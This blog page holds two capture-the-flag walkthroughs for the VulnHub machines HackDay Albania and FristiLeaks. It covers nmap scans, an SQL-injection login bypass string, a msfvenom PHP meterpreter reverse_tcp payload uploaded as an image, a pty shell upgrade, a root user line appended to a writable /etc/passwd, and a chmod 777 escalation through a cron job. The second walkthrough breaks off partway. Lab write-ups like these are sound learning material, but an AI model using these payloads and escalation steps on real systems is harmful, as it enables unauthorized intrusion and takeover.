Showing posts with label others. Show all posts

Monday, 5 December 2016

CTF HackDay: Albania - WalkThrough

Hey Readers,
So here i'm up with another CTF i've recently solved. It was kinda tricky (unexpectedly). But after irritating seniors with my problems related to it, i finally managed to solve it all :P .

Download > https://www.vulnhub.com/entry/hackday-albania,167/

So first thing first .. determining the target. I scanned network for live devices. (Our target was with IP "192.168.0.107").

Alright i did some intense scan on our target. Scanned for port range 0-10000. and finally ended up with 2 open ports 8008(apache server) and 22 (SSH). Also i got some directories.

$ sudo nmap -T4 -A -v -p 0-10000 192.168.0.107

Dirs i got :

/rkfpuzrahngvat/
/slgqvasbiohwbu/
/tmhrwbtcjpixcv/
/vojtydvelrkzex/
/wpkuzewfmslafy/
/xqlvafxgntmbgz/
/yrmwbgyhouncha/
/zsnxchzipvodib/
/atoydiajqwpejc/
/bupzejbkrxqfkd/
/cvqafkclsyrgle/
/unisxcudkqjydw/
/dwrbgldmtzshmf/
/exschmenuating/
/fytdinfovbujoh/
/gzuejogpwcvkpi/
/havfkphqxdwlqj/
/ibwglqiryexmrk/
/jcxhmrjszfynsl/
/kdyinsktagzotm/
/lezjotlubhapun/
/mfakpumvcibqvo/
/ngblqvnwdjcrwp/
/ohcmrwoxekdsxq/
/pidnsxpyfletyr/
/qjeotyqzgmfuzs/

I then opened link "192.168.0.107:8008" on which apache was running and got prompted with a message box "Ne qofte se jam UNE, e di se ku te shkoj " > Translated > "If I am, I know where to go".

I started visiting each dir and ended with a meme :/

But there i found a directory named "unisxcudkqjydw" which had a bit differ page asking me to redirect on page "/unisxcudkqjydw/vulnbank/" with message "IS there any /vulnbank/ in there ???". I visited that link and got a login page of some "Vuln Bank".

I tried some random combinations for auth bypass but unfortunately non of em worked, except one

Username : " '
Password : " '

Got prompted with an SQL Error. I thought it was my lucky shot :P and tried sqlmap and various other SQLi tools, but result was negative :/

Finally i downloaded a list for username and password and ran it over hydra. LOL my fate really worked (I dont use hydra and hate BruteForce attacks :/ :P)
I got a working combination

Username : ' or 'a' = 'a' --
Password : #

Okay!! so i was finally seeing some hope to solve it :).

Tried uploading php files directly, but that didn't worked. I immediately generated php backdoor via msfvenom and renamed it with extension ".php.jpg". Opened handler and executed the payload by visiting the link where it was saved to.

Then i just gained the bash shell with command :

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

I then checked all files and directory carefully if i could find some hint, but everything was useless. I thought config.php would work. I opened it and got user and pass to mysql with root credentials, thought it could be same credentials for root user login too, but result was negative.

After getting literally cooked up :P i checked for writable dirs on machine with command :

$ find / -writable -type f 2>/dev/null

LOL i noticed /etc/passwd was writable :P Bingo !! there i strikes with an idea ... "what if i manually add another user in passwd file ?" (Reference which helped me).

I then generated a hash password using openssl.

Useraname : dope
Passoword : dope

Now i just got back to meterpreter. Opened and edited /etc/passwd with option "edit". Added new user at bottom, and saved the file.

dope:$1$MamNpKxX$/zIJhc75C0O9zRrTxxGYB/:0:0:test:/root:/bin/bash

Edited /etc/passwd just look like :

Here i started having intention for getting escalated to root privilege soon.

And finally, I ran command " su ", entered password for user i just made, And Boom !! It worked :P finally i captured the flag :D

$ su dope
$ id
$ cd /root && cat flag.txt

Special Thnaks to : VulnHub :) <3
Follow me on twitter : https://twitter.com/Indi_g34r

Saturday, 15 October 2016

CTF FristiLeaks: 1.3 - Walkthrough

Unknown 13:30 others No comments

I generally doesn't solves CTFs but after viewing walkthrough of one of my close friend i thought even i must give it a try :P (yea these days i had less work as compared to past some weeks and i watched too much movies ;_;).

So, i thought to try fristileak 1.3. Yea in beginning it was a bit puzzling but then i started having idea about further challenges one after another.

So First thing's first lets scan for live hosts in our network and grab open ports of the target host.

$ nmap -sn 192.168.0.0/24

$ nmap -T4 -A -v 192.168.0.100

OK ! so i got port 80 open here with 3 disallowed entries /cola , /sisi, /beer. Nice lets check em

Our main page, lets check for cola,sisi,beer :D

Damn !! i got nothing except this meme :/ so here i tried some random links and finally found something on /fristi :D and yea it was a login page !!

here i begin checking page source and found some encrypted info, as much as my guess it was base64.

here i scrolled a bit up and found image being decoded, i decided to replace the encrypted code of image with the base64 i found apart from whole code.

Bingo !! after decoding base64 i got some weird text "keKKeKKeKkEkkEk". LOL easy guess "PASSWORD" :V . I then started searching for username and the one thing which diverted my mind the most, there was a note inside the source of page.

"TODO:

We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz

Now here nothing is looking so suspicious except the name of the one who left this comment "eezeepz".

i decided to make combination like

username : eezeepz

password : keKKeKKeKkEkkEk

and got successful access :D wew !!

next i found only option to upload files but in image format (as i tried to it directly with .php format and that didn't worked).

So i generated php payload via msfvenom and changed its format to .php.png

$ sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.104 lport=4444 -f raw

lol meterpreter i love u :P

Lets try to gain access to bash shell :D

Lets check users in home dir.

ok so there are 3 users in which i have permission to access "eezeepz" user's directory.

I did "ls -la" to list all dir with their respected permissions. There were so many files which were like some commands of /user/bin file but one file attracted my attention it was a txt file named "notes.txt" so i decided "cat notes.txt" to open it. and i found hints for next challenge.

ok so as it simply says, i have privilege to use commands like , chmod, df , cat, echo, ps, grep, egrep.

and i if i execute anyone of'em by making file "runthis" in /tmp dir, ill have my results delivered to file named "cronresult". LOL no guess it was sure that user admin is source to other user and eventually to root. "chmod 777 admin -R"

i decided to change permission of user admin's dir as i got privilege to use command "chmod". I executed following set of commands and got positive result as expected :P.

$ echo “/usr/bin/../../bin/chmod –R 777 /home/admin” > /tmp/runthis

$ ls -lah /home

$ ls -alh /home/admin

Found some suspicious text files which could be hint to another challenge.

-- whoisyourgodnow.txt

-- cryptedpass.txt

-- cryptpass.py

2 files were with some encrypted text in which one of em was in base64 and other was some random text (as much as i guessed) and the 3rd one was a python file to decode those pass. I decided to decoded one of'em, thought to gave a start with that base64 one.

So it was a password (guessed so , cos password for admin panel was also being disclosed in the same manner)

I decided to try for fristigod. and got successfully login :)

after owning fistigod user i came one step more closer to root :D

So i was in dir /var/fistigod as i unfortunately didn't found any hint in /home/fristigod/. There i noticed some hidden files one of them was .bash_history , i decided to open it and found some set of commands have been recorded in that file, like whosoever been there before me had used em, i thought to give them a try ( 3:) evil mind)

$ cat .bash_history

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

pwd

ls -lah

cd .secret_admin_stuff/

./doCom

./doCom test

sudo ls

exit

cd .secret_admin_stuff/

./doCom

sudo -u fristi ./doCom ls /

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /

exit

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /